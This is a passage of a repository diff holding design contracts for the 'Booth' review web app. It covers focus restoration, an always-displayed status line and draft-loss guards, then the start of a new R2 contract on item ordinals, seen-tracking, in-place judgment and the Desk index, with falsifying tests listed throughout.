- **Restoring.** After the swap, the script focuses the `n`th element with that key inside the fresh node with the same `data-region` id, with `preventScroll`.
- **When that element cannot take focus** because it sits in a `<details>` the fresh page renders closed (an answered pick's form folds into "change answer"), focus goes to that `<details>`' summary, the control that opens it again.
- **When there is no such element** (for example, the × of a note just withdrawn), focus goes to that fresh region node. The script sets `tabindex="-1"` on it at that moment. The same happens for a focused element with no key, the region node included, so the NEXT swap lands on the region again. Focus never falls to `<body>` through a swap.
- **Only a swap moves focus.** Focus outside every swapped region is not touched: the operator may have moved on while the save was in flight. A region the fresh page lacks is not a swap: the existing stale-tile or reload paths apply.
- *Falsifiable:*
- `test_focus_returns_to_the_pressed_control` (browser): the flag toggle and a note's Add button are each pressed from the keyboard. After `booth:swapped`, each is focused again and `scrollY` is unchanged. A pick's Submit, once answered, folds away, and focus is on its "change answer" summary.
- `test_focus_picks_the_same_one_of_two` (browser): with two same-key controls in one region, focusing the second and saving restores the second.
- `test_focus_lands_on_the_region_when_the_control_is_gone` (browser): withdrawing a note by keyboard leaves focus on the region. A second save then keeps it there. It is never on `body`.
- `test_focus_elsewhere_is_left_alone` (browser): focus moved outside the region mid-flight (the POST held by a route) stays where it was.
- `test_focus_restore_does_not_scroll` (browser): the page scrolled away mid-flight stays where the operator scrolled it.
- `test_focus_on_a_summary_survives_the_next_swap` (browser).
- **One status line per page, where the operator can see it (G2).**
- Every page that extends `base.html` renders exactly one `data-region="status"`, from `_status.html`. It sits inside no other `data-region`, so a swap never replaces it. The swap already skips `status`, and the script re-finds the line on every write. The embed's per-form `.bk-ask-status` lines are not `data-region="status"` and are outside this rule.
- **The line floats**, fixed at the bottom centre of the viewport, above the fixed review stage (the viewer is z-index 50, the line 70). Every save now says something, and a line in the page flow moved the page under the reader: booth-dev's `test_a_flag_lands_in_place_and_every_region_catches_up` caught a 50px jump in this slice's gate. Floating, it moves nothing, and it is in view wherever the reader has scrolled, on the review and on compare included. The viewers' grids are unchanged.
- **The covered letterhead.** On the review and compare, when the viewer is fixed (wider than 900px, the same breakpoint that makes it fixed), the letterhead (`header.topbar`) and the footer (`footer.foot`) leave the Tab order and the accessibility tree through CSS (`visibility:hidden` under `body.page-stage`). No script is involved. At 900px and below the viewer is in the page flow, and both stay live.
- *Falsifiable:*
- `test_one_status_line_per_page`: on the Desk, a gallery, the board, the review, compare, the marks page and a doc view, exactly one `data-region="status"`, inside no other `data-region`.
- `test_the_status_line_is_visible_on_the_review` (browser, 1280): on the review and on compare, a forced failure's words are what `elementFromPoint` finds at the line's centre. The stage still takes the rest of the viewer, and no other row is taller than a quarter of it.
- `test_a_save_does_not_move_the_page` (browser): a tile halfway down the gallery does not move while "Saving…" shows, nor after "Saved.", and the words are inside the viewport.
- `test_the_covered_letterhead_leaves_the_tab_order` (browser): on the review and on compare, the topbar's and the footer's computed `visibility` is `hidden` at 1280 and `visible` at 390 (the negative control).
- **The line speaks in time, and each message has one owner (G4).**
- **The line is a live region that is always displayed.** No `hidden` attribute, never `display:none`. While empty it takes no space (`.status:empty` has no padding, margin or border). A live region that is present and displayed before its text changes is the precondition for a screen reader to announce the change.
- **Every message the line can carry, with its tone and how long it lasts.** Every write sets the tone: it sets `data-tone="warn"` or removes the attribute. So a tone never outlives its words. The CSS colours only `warn`.
| when | words | tone | lasts |
|---|---|---|---|
| a save starts | Saving… | none | until that save's outcome is said |
| a press on a form already in flight | Still saving… | none | until that save's outcome is said |
| a save's swap lands | Saved. | none | cleared after 2s, if the line still holds this same "Saved." |
| a save fails, and the page may reload (below) | Could not save in place — reloading to show what was saved. (today's words) | warn | until the reload, which follows after today's 900ms beat |
| a save fails, and the page may not reload | Could not save in place. Reload to see what was saved; your other entries are still here. | warn | until that form's next save starts; another form's save that lands says it again |
| a save lands, but the form it sent was changed while it flew | Saved. You changed it while it was saving, and that change is not saved yet: press again to save it. | warn | until the next save starts |
| a save lands on a page that changed shape, and it may not reload | Saved. The page changed meanwhile; reload to see it. | warn | until the next save starts |
| a save lands (204), the page GET fails, and it may not reload | Saved. Could not refresh the page; reload to see it. | warn | until the next save starts |
| a batch in which the server refused at least one form (a "partial batch"), or whose refresh failed or found a changed page | today's batch words, unchanged | warn | until the next save starts |
- "Until the next save starts" is today's rule (`quiet()`): a new save clears the last one's words. A failure that stayed is the exception. It is said again after any other save lands, until its own form is pressed again or leaves the page, so an unrelated "Saved." never buries it.
- A POST that failed did not save. A POST answered 204 did save, even when the page GET after it fails, and it is never reported as "could not save": that would invite a second press, which writes the note twice.
- `aria-busy="true"` mirrors which forms are in flight, on the LIVE page. It is set at the press and re-synced whenever a save settles. A save settles in the same task as its swap, so a queued form whose node an earlier save's swap replaced is marked busy again before anything renders. It is removed when the save settles, on every path: success, failure, or a stale tile the swap never replaced. A form whose save failed and stayed is no longer in flight. A press on it is a new save. The queue settles a save on rejection too, so an unexpected throw cannot strand a form "Still saving…" (a hardening with no constructible failure today, so it has no falsifier).
- *Falsifiable:*
- `test_the_status_line_is_always_displayed`: no `hidden` on it in any page's markup; in the browser, its computed `display` is not `none` and its `visibility` is `visible`, empty and full.
- `test_an_empty_status_line_takes_no_space` (browser): the computed height is 0.
- `test_a_save_says_saving_then_saved` (browser, the POST held by a route): "Saving…" while held, then "Saved." with no tone, then empty after the beat.
- `test_a_repeat_press_says_still_saving` (browser): the message stays until the held save lands, past 2s.
- `test_a_new_save_is_not_cleared_by_the_last_ones_timer` (browser): "Saving…" started within 2s of a "Saved." is still there after the old timer fires.
- `test_a_queued_save_keeps_saying_saving` (browser): the first of two queued saves lands, and the line goes back to "Saving…", not "Saved.".
- `test_a_batch_speaks_too` (browser): a batch says "Saving…", then "Saved."; a press on a clean pick during it says "Still saving…".
- `test_the_form_in_flight_is_busy` (browser): `aria-busy` is set while the save is held and gone after it settles, on both the success and the failure path.
- `test_a_failure_then_an_edit_then_a_save` (browser, a request trace): a failure that stays, with warn tone past the beat; the operator edits the failed form and presses again; the new save starts ("Saving…", no tone) and lands ("Saved.").
- `test_an_unrelated_save_does_not_bury_a_failure`, `test_an_edit_made_while_saving_is_not_called_saved`, `test_a_save_whose_page_would_not_refresh_says_saved` (browser).
- `test_a_stale_tile_is_not_left_busy`, `test_a_queued_form_is_busy_on_the_live_page` (browser).
- **Sensitivity floor:** no test here hears a screen reader. What is held is the precondition: a displayed live region whose text changes.
- **Leaving with an unsent draft asks first (G13).**
- A `beforeunload` guard asks when any in-place form on the page is dirty. "Dirty" is the script's `dirty()`: a control that differs from its server-rendered default. In the embed, it asks when any of our forms is dirty (`dirty()` there: against what the server last took).
- Arrow, Space and Esc on the review and compare, film-strip clicks, the home chip, and a native submit of a form that is not in-place all leave by a full page load (`window.location.href`, a link or a POST). So the one guard covers them all.
- **The in-place client never reloads over a draft.** It has two reloads: after a failed save (`fail`), and after a save whose fresh page changed shape (`refresh` on the one-form path). Each now runs only when every in-place form on the page is clean, except the one just sent, which must be unchanged since its press (its serialized fields equal the snapshot taken at the press). That keeps today's behaviour for the case it was built for: the reload reveals whether the write landed, and the only unsaved text is the text that was sent.
- If anything else is dirty, including text typed into the sent form while it was in flight, it does not reload. It says the matching warn message from the table and stays, as the batch path already does.
- A press inside the reload beat cancels the reload: that new save owns the page.
- When it does reload, the guard does not ask. There is nothing on the page except the sent text, whose fate the reload reveals.
- **The embed's own leaving does not ask.**
- A press when another form of ours is dirty is the existing batch, unchanged: never a native submit, so there is no leaving.
- A press when no other form of ours is dirty is the browser's native submit. The guard skips that form for the ONE navigation its submit starts. It asks again if a host handler cancels the submit after ours has run (checked once the event has been dispatched), or if the navigation does not replace the page (a stop, or a 204).
- After a clean batch, the embed reloads. Nothing is dirty then, so the guard has nothing to ask about, and no disarm is needed.
- *Falsifiable:*
- `test_leaving_with_a_draft_asks` (browser): a typed note, then a film-strip click, raises a `beforeunload` dialog. So does ArrowRight. Dismissing it keeps the page and the text.
- `test_leaving_a_clean_page_does_not_ask` (browser, negative control).
- `test_a_saved_draft_no_longer_asks` (browser): after a save lands, leaving does not ask.
- `test_a_failed_save_keeps_the_other_drafts` (browser): the POST fails (a route answers 500) while another note holds text. There is no reload, the other text is still there, and the line carries the stay message with warn tone.
- `test_a_failed_save_keeps_text_typed_while_it_flew` (browser): the POST is held, more text is typed into the same form, then the POST fails. There is no reload, and the text is still there.
- `test_a_changed_page_keeps_the_other_drafts` (browser): the same, for a save that lands while the page changes shape.
- `test_a_draft_typed_during_the_beat_stays` (browser): the reload is due and a draft is typed in the 900ms before it. The reload is asked again at the beat, and it stays.
- `test_its_own_reload_does_not_ask` (browser): a failed note, with nothing else dirty, reloads without a dialog.
- `test_embed_submit_does_not_ask` (browser): the plain one-form submit in an embedded report navigates without a dialog.
- `test_embed_a_cancelled_submit_is_guarded_again`, `test_embed_the_skip_covers_one_leave` (browser).
- `test_a_resubmit_in_the_beat_is_not_reloaded_away` (browser).
- The existing `test_a_failed_save_says_so_reloads_and_never_re_posts` holds unchanged: with nothing else dirty, the failure still reloads.
**Existing tests and rows this slice edits** (booth-dev's):
- Six browser tests in `test_flow_browser.py` read the line's `hidden` state at seven sites. The line is never hidden any more, so `:not([hidden])` would match at once and read "Saving…".
- Five waits now wait for the test's own words.
- Two checks that the line "went quiet" now check what they meant: no warn tone (`test_pressing_a_clean_pick_during_a_batch_sends_nothing`), and the stale "Not saved" gone (`test_a_later_save_clears_a_stale_not_saved_line`).
- Two `r2_submit_all.toml` rows guarded code this slice moved, and both went vacuous. They are re-anchored to the same failure in the new code:
- "a new save does not clear the last one's words": `say()` no longer overwrites words already on the line.
- "a batch whose refresh fails reloads": a direct `reload()`, since `refresh` no longer reloads and `fail()` now protects drafts on its own.
**Out of S5b:** the embed's own "Saving…". The embed's batch already has a per-form status line, and its one-form path is a page load. The in-place client is the one that goes quiet for seconds.
**Known costs, stated:**
- A page that reads `document.activeElement` straight after `booth:swapped` sees the restored element. Nothing in the Booth listens for focus.
- A fallback region keeps `tabindex="-1"` until the next swap replaces it, so a click inside it can focus it.
- A region drawn with `display:contents` (a `.region-wrap`) has no box and cannot take focus. If a focused control inside one vanished, focus would be lost. None vanishes today: the wraps hold the booth's status badges and the blur-booth toggle, which re-renders under the same key.
- `refresh(recs, keep)` keeps its `keep` argument, though it no longer decides anything: the callers decide. The call sites stay byte-identical for booth-dev's mutation anchors.
- The 2s clear is a timer. Under reduced motion it is the same: it is the words that go, not an animation.
- **Folded from the heid contract review** (panel 4/4, thread `01M3MM7Y2GA4MQCBDJ4VTV92YJ`):
- every status message now has one owner, one tone and a stated lifetime (the table above);
- `aria-busy` ends when a save settles, including a failure that stays;
- text typed into the sent form while it was in flight blocks the reload;
- a tone is reset on every write;
- focus identity carries an occurrence number, and a region node has a key of its own;
- the script, not the server, sets the fallback `tabindex`;
- the letterhead and footer are named nodes, tested on both pages;
- the always-displayed rule is tested on computed style, with its sensitivity floor stated;
- the embed's skip is checked at unload time.
- **Folded from this slice's gate:** the line floats instead of sitting at the top of `<main>` or under the viewer's bar. In the flow, every save's "Saving…" moved the page (booth-dev's own test caught it), so the per-page placement and the viewers' extra grid row went away.
- **Folded from the heid bug-hunt** (panel 4/4, thread `01M3MRTNTWEPJHTN4APRR81KH4`). These are the changes in the text above:
- `aria-busy` is synced to the live forms, and it ends on every settle path (R1, 4/4);
- a press inside the reload beat cancels it (R2);
- the embed's skip covers one navigation, and a cancelled submit is guarded again (R3, 4/4);
- a failure that stayed is not buried by an unrelated "Saved." (R4);
- a 204 followed by a failed page GET is "Saved." (R8);
- the queue settles on rejection (R9);
- a summary has a key (R10);
- an edit made mid-flight is not called saved (R12).
- **Accepted as true today, and pinned** (`test_the_in_place_client_can_read_every_page`): no in-place form holds a control `dirty()` cannot read (R7), and no `data-region` nests inside another (R11).
- **Reported to booth-dev, not changed here** (they predate S5b):
- the embed's reload after a clean batch can discard text the operator typed into the HOST page, which `ourForms()` cannot see (R5, U3 behaviour);
- `carry()` loses an edit that returns a control to its original default while the save flies, because it copies only controls that differ from their old defaults (R6, C3 behaviour).
## S5c
Keys and the doc bar: key handling that ignores keys from inside buttons, links, summaries and media, with real focus on the grid cursor (G6); the doc bar's controls out of its `<summary>` (G7); thumbnail dimensions (G14); scroll padding under the sticky rail (G15); and a reveal button whose name does not flip (G17). Its own contract section and review come before any code.
+622
View File
@@ -0,0 +1,622 @@
---
contract_version: "0.2-BUILT"
status: "BUILT 2026-09-23 on design-dev/svos-retheme (C1-C7, TDD), awaiting heid code-review and bug-hunt before the hand-over to booth-dev. PROPOSED 2026-09-23 by design-dev. Ruled by the operator the same day in the `flow` mark on booth-flow-concepts (direction a_b; compare MODE to be built in this arc; voice plain; emblem no), relayed via Miranda → booth-dev, verbatim at docs/rulings/. Compare mode is NOT in this contract: it lands after this one as r3, as a view toggle over the same item record."
module: "booth.app + booth.items + templates (the review flow)"
purpose: "Make the Booth a place where judgment happens rather than a place where files are shown. The operator's bar is 'did anything change when I opened it'. A reskin cannot clear that bar; this contract changes the flow. There are three surfaces and one plumbing change. THE DESK: the index triaged by what needs the operator. THE LIGHTBOX: a booth page with the set on the left and the verdict beside it. THE REVIEW: full size with the judgment on screen, a filmstrip, and seen-tracking. The plumbing is IN-PLACE JUDGMENT: a mark POST that does not reload the page or eject you from full size."
depends_on:
- "booth.items.booth_items + Item (INV-1: the one resolver). Item gains `ordinal`, derived there and nowhere else."
- "booth.items.image_chain (the zoom ring). SUPERSEDED for the review route by `review_chain`; image_chain stays importable and unchanged for its existing callers and tests."
- "booth.app._newest_mtime (THE definition of activity — booth-dev, 2026-09-23). It feeds lifetime; the Desk no longer sorts by it (amended 2026-09-23, §3). The Desk's 'landed since you looked' is a DIFFERENT question and gets a DIFFERENTLY NAMED helper; see INV-5."
- "booth.app.record_view / VIEW_MARKER (`.viewed`, U4). The Desk reads its mtime to answer 'new since you looked'."
- "booth.app.hold_read / hold_reason / open_marks (INV-2 of U2: the one openness predicate). 'Needs you' is `open_marks(...)` non-empty, or `hold_reason(...) == \"unreadable\"` (C4); nothing else."
- "booth.marks.as_dict, set_flag, write_note, answer_pick, delete_mark (the write API, UNCHANGED)."
- "booth.app._mark_redirect (the 303 landing). Extended with one new `back` value; the existing two landings stay byte-identical."
- "booth.benches.read_benches, booth.links.parse_link_entries / order_for_display / booth_target (the Desk's side column)."
language: "python + jinja + a little javascript"
complexity: "high"
estimated_loc: 900
confidence: 0.6
used_by:
- "booth.app.index (the Desk)"
- "booth.app.booth_view (the lightbox)"
- "booth.app.booth_view_file (the review)"
- "booth.app.booth_answer / booth_note / booth_flag / booth_unmark (in-place judgment)"
touches:
- "booth/items.py (Item.ordinal; review_chain; read_seen/SEEN_FILE)"
- "booth/app.py (list_booths fields; index sections; booth_view verdict data; booth_view_file review context + record_seen; wants_json + 204; _mark_redirect `back=view`)"
- "booth/templates/index.html (REWRITTEN as the Desk)"
- "booth/templates/booth.html (restructured: two panes; the marks panel moves into the verdict aside; tiles carry ordinals; inline group headers)"
- "booth/templates/view.html (REWRITTEN as the review: stage, rail, filmstrip, tape)"
- "booth/templates/_marks.html (renders inside the aside; flag list ordered by ordinal)"
- "booth/templates/base.html (layout CSS; the in-place script)"
- "booth/templates/doc.html (NOT restructured — a doc keeps its reading page; named because it was checked)"
- "booth/static/embed.js (NOT TOUCHED — the verbatim path keeps its author's layout; requirement 6)"
- "tests/test_booth.py (THREE assertions change, all in test_index_separates_kept_from_ephemeral: L785-786, the kept-lane presence pair, and L789, kept-before-ephemeral. L810-811, the absence pair, survive unchanged. See 'Assertions that change')"
- "tests/test_flow.py (NEW)"
- "tests/test_embed_browser.py (ONE test changes: test_the_keyboard_flag_actually_submits expected a navigation, which is the defect R2 removes. See 'Assertions that change')"
assumptions:
- "ONE VIEWER. `.seen` records what has been seen at full size, not WHO saw it. ROADMAP parks 'per-viewer state (who has seen what)' on the one-viewer premise; this contract keeps that premise and does not reopen the parked item."
- "EVERY JUDGMENT WORKS WITH JAVASCRIPT OFF. Each control stays a plain <form method=post>. The in-place behaviour is additive and falls back to today's 303."
- "THE VERBATIM PATH IS OUT OF SCOPE. A booth with its own index.html is served as the author wrote it (requirement 6). The Desk links to it; the lightbox never renders for it."
- "NO THUMBNAILS. Tiles, the filmstrip and the Desk's preview strip use the original files with loading=lazy. Progressive loading stays parked until page weight is measured."
open_questions:
- "ANSWERED BOOTHS LOSE THEIR HOLD (raised by booth-dev in b46ac02). A booth is held while its question is open, so it becomes sweepable the moment it becomes a decision record. The flow question: should an answered pick hold its booth for a grace period, or should the record live elsewhere? NOT SOLVED HERE, because it is a lifetime-policy change and this contract changes no lifetime rule. Raised separately."
- "KEY 1–9 TO ANSWER A PICK from the review rail. It appeared in the concept mock. Dropped from this contract: multi-question picks make the mapping ambiguous, and the operator ruled the flow, not the keymap. Parked."
---
# R2 — the review flow: the Desk, the lightbox, the review
## The requirements this answers (from the round-2 README, uncorrected by the operator)
| # | requirement | answered by |
|---|---|---|
| 1 | show me what needs me | the Desk's *needs you* section |
| 2 | picking winners is the main judgment | the lightbox's flag tray; F in the review |
| 3 | flag without losing my place | in-place judgment + `back=view` |
| 4 | position is identity (within the set as it is now — not a durable id) | `Item.ordinal`, printed on every tile |
| 5 | the question stays beside the work | the verdict aside (sticky) |
| 6 | reports keep their author's layout | verbatim path untouched |
| 7 | listening sets are real | `review_chain` includes audio and video |
| 8 | lifetime is not an organising principle (it is still SHOWN as a fact on each row; it no longer GROUPS or SORTS) | the Desk drops the kept/ephemeral lanes |
## Terms used below
- **Reticle**: the SVOS selection mark in base.html — four corner brackets drawn
inside a box. It marks the one current or selected thing and nothing else.
- **Tape**: a row of small segments, one per item in the review ring, each
showing *seen*, *flagged* or *current*.
- **Stage**: the area of the review page where the artifact itself renders.
- **All Booth state files are dotfiles.** That covers `.marks.json`
(MARKS_FILE), `.viewed`, `.blurred`, `.seen`, `.forever`, `.pins`,
`.booth.json` and every `*.lock`. "Non-dot entries" means the posted content
and nothing the Booth or the operator wrote.
## Components
### C1 — `Item.ordinal` (items.py)
`ordinal: int` is the item's 1-based position in `booth_items(booth)`, i.e. in
`sorted(rel)` order over **all** items. It is assigned in the resolver loop, so
no route derives it.
- `ordinal` is **appended** as the dataclass's last field, never inserted.
Mid-dataclass insertion is a positional-construction break, and `group` has
already had that conversation.
- The resolver's `quote()` guard on non-UTF-8 names stays exactly as it is. It
looks like a stray `try` around a discarded result, but it is what keeps one
0xff filename from taking down the index for every booth.
- An item skipped by that guard takes no ordinal, so ordinals stay contiguous
over the items that render.
- **A filter never renumbers.** Under `?filter=flagged` a tile still shows the
number it has in the whole set. That is the point: "#07" is a property of the
item, not of the view.
- **A new file renumbers everything after it.** That is honest, and it matches
the order: the operator's positional references are to the set as it is now.
### C2 — `review_chain` and `.seen` (items.py, app.py)
- **`review_chain(items)`**: the rels of items whose kind is image, video or
audio, in item order. ONE LINE: *the item order filtered to media.* It
replaces `image_chain` as the review route's prev/next ring.
- It is a **declared change** to the zoom-ring rule. Today's ring is images
only. A booth mixing images and audio now rings through both, in set order.
- `image_chain` stays for its callers and tests.
- **`SEEN_FILE = ".seen"`**: a UTF-8 JSON array of rels. Not one rel per
line, `.blurred`'s shape: a file name may contain a newline, and a line format
would split one such rel into two, neither of them real.
- Written by `record_seen(booth, rel, items)` from the review route, below the 404s
and gated on the item record — the same gate `record_view` has.
- Each write rewrites the whole file: the previous set plus `rel`, minus
rels no longer in `booth_items`, sorted. It is deduplicated and pruned, so
it never grows past the booth's item count.
- Atomic replace, per the Booth's CLAUDE.md invariant 5 ("sidecar writes are
atomic"), not this contract's INV-5.
- Seen is keyed by rel. A file replaced at the same path stays seen; a
deleted file drops out at the next write, and every count below
intersects with the current `review_chain`.
- **The review route ALSO calls `record_view` (existing U4 behaviour,
unchanged).** So reviewing a booth at full size refreshes "you looked" for
the Desk exactly as opening its grid does. `.viewed` and `.seen` never
disagree about whether you looked at the booth; `.seen` only adds WHICH
items.
- NEVER RAISES, like `record_view`: failing to record a look costs the
marker, not the page.
- `read_seen(booth) -> set[str]` is lenient and NEVER RAISES. It opens without
following a symlink and without blocking, reads only a regular file of at
most 1 MiB, and keeps only the array's string members. Anything else — a
link, a FIFO, a directory, an oversized, malformed or too-deeply-nested
file — reads as the empty set. `.seen` sits in an agent-writable directory, and a planted FIFO
must not hang the review route.
- `items` is the route's own `booth_items` result. It is passed in so that the
prune ("minus rels no longer in `booth_items`") costs no second walk.
- **Seen is UI state, not judgment.** It is not exposed in `marks.json` and it
holds nothing.
- It adds no lifetime RULE. Being a dotfile, its write does move
`_newest_mtime`. So does the `.viewed` write on the same request, so a
review page ages a booth exactly as it does today.
### C3 — in-place judgment (app.py, base.html)
**`wants_json(accept: str | None) -> bool`** takes the raw `Accept` header, so
it is a pure function a test can call directly. It is True **only** when the
header, split on commas, contains an entry whose media type, parameters stripped, is
exactly `application/json` and whose q-value is absent or greater than 0.
- Absent, empty, `*/*` or `application/*` → False.
- `application/json;q=0` → False. A client that explicitly refuses JSON gets
the redirect.
- A near miss such as `application/jsonx` → False.
- **Every entry is parsed before anything is decided.** One unparseable
entry anywhere, before or after a good one, makes the whole header False.
- Any header that fails to parse → False. A q-value that is not a finite
number (`q=nan`, `q=inf`) fails to parse.
- **It fails toward the 303.**
The four mark routes (`/answer`, `/note`, `/flag`, `/unmark`) perform the same
write as today, then:
- `wants_json` → **204 No Content**.
- otherwise → today's `_mark_redirect(...)`, **byte-identical**: same status,
same `Location`, same body.
**`back=view`** is a new landing for `_mark_redirect`, carried by the review
route's forms together with `f=<rel>`. It lands on
`/b/<name>/view?f=<quote(rel)>#rail`. This fixes the JS-off bounce too:
today's zoom flag form carries no `back`, so it lands on the gallery.
- `back=view` lands on the review only when `f` names an item in
`review_chain`, i.e. a media item. For anything else (a doc, a missing rel,
an empty `f`) the landing falls back to the booth page, exactly as a form
with no `back` does today. `doc.html` carries no forms, so no shipped page
sends `back=view` with a doc.
- The URL is built server-side from `name` + `quote(f)`, never echoed, so this
is not an open redirect.
**The client**: one small script in base.html, bound to forms marked
`data-inplace`.
1. POST the form with `Accept: application/json`.
2. On 204, GET the current URL and replace **every** element carrying
`data-region="<id>"` with the same-id element from the response.
- The rule is "every region whose content can depend on marks is a
region".
- On the lightbox: the verdict aside, each tile, the rail (its filter
counts change when you flag), and the header's open count and lifetime
line (`booth-status`).
- On a booth with marks but no set: the panel (`marks-panel`).
- On the standalone marks page: the header's open count (`booth-status`)
and the panel (`marks-panel`), one region around both its states so
answering the last mark away swaps in the empty state.
- On the review: the rail, the filmstrip and the tape.
- The stage is never a region: replacing it would restart a playing video
or audio track.
- A TILE (`item-*`) absent from the response is left alone and never
deleted. Deleting it would shift every tile after it under the reader's
eye. It is marked `is-stale` so it does not pass for current:
un-flagging under `?filter=flagged` is the case. The next navigation
drops it.
- Any OTHER difference in structure — a non-tile region in the response
that the page lacks, or one the page has that the response lacks — or a
page with no region to swap at all, is not patched: the script reloads
with a GET, so what you see is the server's truth.
- The swap also carries the per-viewer state a reload would have reset
but an in-place save must not:
- live media whose src is unchanged;
- a revealed blur;
- a closed doc;
- disclosures the reader opened or closed;
- every DIRTY control: a half-typed or edited note, a radio picked and
not yet sent.
All of it is matched by IDENTITY, never by position: a form by its
action and its hidden `ask`/`target`/`mark`/`f` fields, a control by its
form plus its name (plus its value for a radio or checkbox), a disclosure
by the pick or form it holds. A flag that adds a tray row above a draft
must not move the draft into the wrong box. The form just sent is the
exception: its fields come back as the server rendered them, and its
disclosure comes back folded — UNLESS it changed after the press, when it
carries like any unsent form (amended 2026-09-27; a pick changed
mid-flight came back as the saved copy of the earlier one). "Just sent"
is the form's IDENTITY plus its fields as they stood at the press, never
the DOM node: a queued save whose node an earlier swap replaced is still
recognised, where a node test missed it and carried a saved note's text
back as a draft.
3. **Saves are SERIALIZED.** Each save runs its POST, its GET and its swap
before the next begins, so an older snapshot never lands after a newer one
(three quick flags show three flags). A form already queued or in flight
ignores another submit: a double-click writes one note, not two. "In flight"
is keyed by the form's IDENTITY (the same action + hidden-field key the
carry uses), never marked on the DOM node, because a queued save's swap
replaces the node with a fresh copy (amended 2026-09-27).
3a. **Several picks at once (amended 2026-09-27).** A pick form is a
`data-inplace` form carrying a hidden `ask` field. It is **dirty** when any
control in it differs from its server-rendered default (`checked` vs
`defaultChecked`, `value` vs `defaultValue`). A submit on a pick form while
ANOTHER pick form of the same action is dirty sends every dirty pick form
NOT already in flight — the pressed one only if it is dirty.
- A form in flight still counts as "another dirty form", so a press on a
clean pick during a batch is an empty batch: a no-op, never the blank
one-form POST whose 400 would take step 4 mid-save.
- One POST per form, to its own action, with its own fields read at the
moment of the press, one after another in DOCUMENT ORDER of the forms. A
refused POST does not stop the ones after it.
- None refused: ONE GET and ONE swap, in which every form sent counts as
"the form just sent": its fields come back as the server rendered them,
its disclosure folded.
- Any refused: ONE GET and ONE swap in which only the forms the server
TOOK count as sent, so everything else carries by identity — the refused
pick's own input and any draft on the page included — then the status
line says how many saved and names each pick that did not, with the
reason. (Nothing saved at all: no GET, just the words.) A pick withdrawn
under the page has no form in the fresh page to carry into; the reason
says so. This is the same rule as the verbatim half: a refusal never
clears what the operator entered.
- **A batch never reloads.** Where step 2 would reload — a failed GET, or a
fresh page whose structure changed — a batch says so in the status line
("reload to see it") and keeps the page, because a reload would take
every unsent draft with it. Step 4's say-and-reload stays the one-form
path's alone.
- The status line is cleared when the next save starts, so a "not saved"
never outlives the save that fixes it.
- With no other dirty pick form, the submit takes steps 1–3 exactly as
before.
Why: C3 already CARRIED an unsent pick across another save, so it survived
— but it was never SAVED, and pressing the submit of a BLANK pick got a
400, whose failure reload wiped every one. The operator's report
(2026-09-27, relayed by infra-ops): one submit on a page must save every
answer he filled in. The verbatim half of the same fix is U3's "Submitting
several asks at once"; the two surfaces share the dirty rule, the order and
the refusal rule, and differ only where their machinery does (this one
swaps in place; the verbatim page reloads when nothing is left unsaved).
*Falsifiable* (`tests/mutations/r2_submit_all.toml`): ignore the other pick
forms and `test_one_submit_on_the_marks_page_saves_every_changed_pick`
fails; send the pressed form even when blank and
`test_pressing_a_blank_picks_submit_saves_the_others_and_skips_it` fails;
stop at the first refusal, reload on one, or count a refused pick as sent,
and `test_a_refused_pick_in_a_batch_costs_only_itself_and_clears_nothing`
fails; stop counting a form in flight as dirty and
`test_pressing_a_clean_pick_during_a_batch_sends_nothing` fails; key "in
flight" on the DOM node and
`test_a_pick_in_flight_stays_in_flight_across_another_saves_swap` fails;
leave the status line up and `test_a_later_save_clears_a_stale_not_saved_line`
fails; reload when the refresh fails and
`test_a_batch_whose_refresh_fails_keeps_the_page` fails; count a sent form
as sent after it changed and
`test_a_change_to_a_sent_pick_during_the_flight_is_kept` fails; count no
form as sent and `test_a_saved_notes_box_comes_back_empty` fails.
4. **The script never re-POSTs.** A retry after a lost response would re-apply
the judgment: a duplicate note, or a re-dated answer.
- On a non-204 HTTP response, or a network failure, it writes a fixed
message into the page's server-rendered status element
(`data-region="status"`, via textContent). After a beat (0.9 s, so the
words can be read) it reloads the page with a GET, so what you see is the
server's truth.
- The one case where a non-JS submit happens is a script that cannot run at
all. That is the plain form.
**The server renders every state; the script only places it.** This is U3's
rule — a second renderer in JavaScript would be the same bug in a new language.
### C4 — the Desk (index.html, app.index, list_booths)
`list_booths` gains five fields, all read in the one pass it already makes:
- **`open_since`**: the `created` of the OLDEST open pick in the booth, or
None. Computed via `open_marks`, INV-2.
- `Mark.created` is a STRING. It is parsed with `datetime.fromisoformat`,
never compared lexically: two ISO stamps with different offsets, or a
legacy-import stamp, sort wrong as text.
- An unparseable stamp sorts AFTER every parseable one, and name breaks the
tie.
- **`flags`**: the number of CURRENT items carrying a READABLE flag mark,
shown on every Desk row that has any — `flagged_targets(marks)` intersected
with the booth's item rels. `flagged_targets(marks)` is the ONE flag
predicate. The Desk, the tray, the orphan list, the rail's `flagged` filter,
the tiles, the filmstrip, the tape and the review button all read it, and an
unreadable flag entry counts nowhere. A flag whose file
has since been deleted is an ORPHAN: it counts on no Desk row, and the tray
lists it (C5) so it can be cleared.
- **`landed_at`**: the newest mtime among the booth's CONTENT — its regular
files and symlinks with no dot-component in their path, each read by
`lstat`. **Deliberately not `_newest_mtime`** (INV-5). Five refinements,
each load-bearing:
- **Files only, never directories.** Creating any dotfile (`.viewed`, the
marks file's temp-and-replace) bumps the booth directory's own mtime, so
counting directories would make the flag you set after looking read as a
delivery.
- **A symlink counts by its OWN mtime** — when it was placed — never its
target's. A link to a busy file outside the booth must not make the booth
read as newly delivered.
- **An empty booth landed at 0.0.**
- **One unreadable entry is skipped.** Reading the whole booth as landed NOW
for one bad entry would pin it in 'new' forever.
- **A booth whose walk cannot run at all reads as NOW.** It is shown as new
rather than hidden as old.
- **`viewed_at`**: the mtime of `.viewed`, or None.
- **`preview`**: up to 4 image items as `(url, blurred)`, first four in item
order. A blurred one renders blurred, the same rule as the cover.
- A booth with no images (an audio set, a report) shows today's kind
placeholder instead (`♪ audio`, `▦ page`, `▶ video`, `◆ files`).
- These are the original files displayed small with `loading=lazy`. No
thumbnail is GENERATED anywhere in R2; see Out of scope.
**The index renders three sections, always in this order:**
1. **Needs you** — `marks_open > 0`, **or** `hold == "unreadable"`.
- `marks_open` counts `open_marks(...)`, which only ever returns PICKS. A
booth whose marks are only flags or notes is the operator's own judgment,
not a question to them, so it is NOT here.
- A damaged `.marks.json` holds its booth but is not open by `open_marks`
(errored picks are not open). Somebody has to fix it, so it must not hide
in 'everything else'. It renders with the existing "marks unreadable"
lifetime line.
- Ordered by `(open_since, name)`, oldest question first. A booth held
`unreadable` has no `open_since` — even when a readable pick sits beside
the damage, because the damage is the thing to fix — and sorts after every
booth that has one.
2. **New since you looked** — `not in_needs_you and (viewed_at is None or
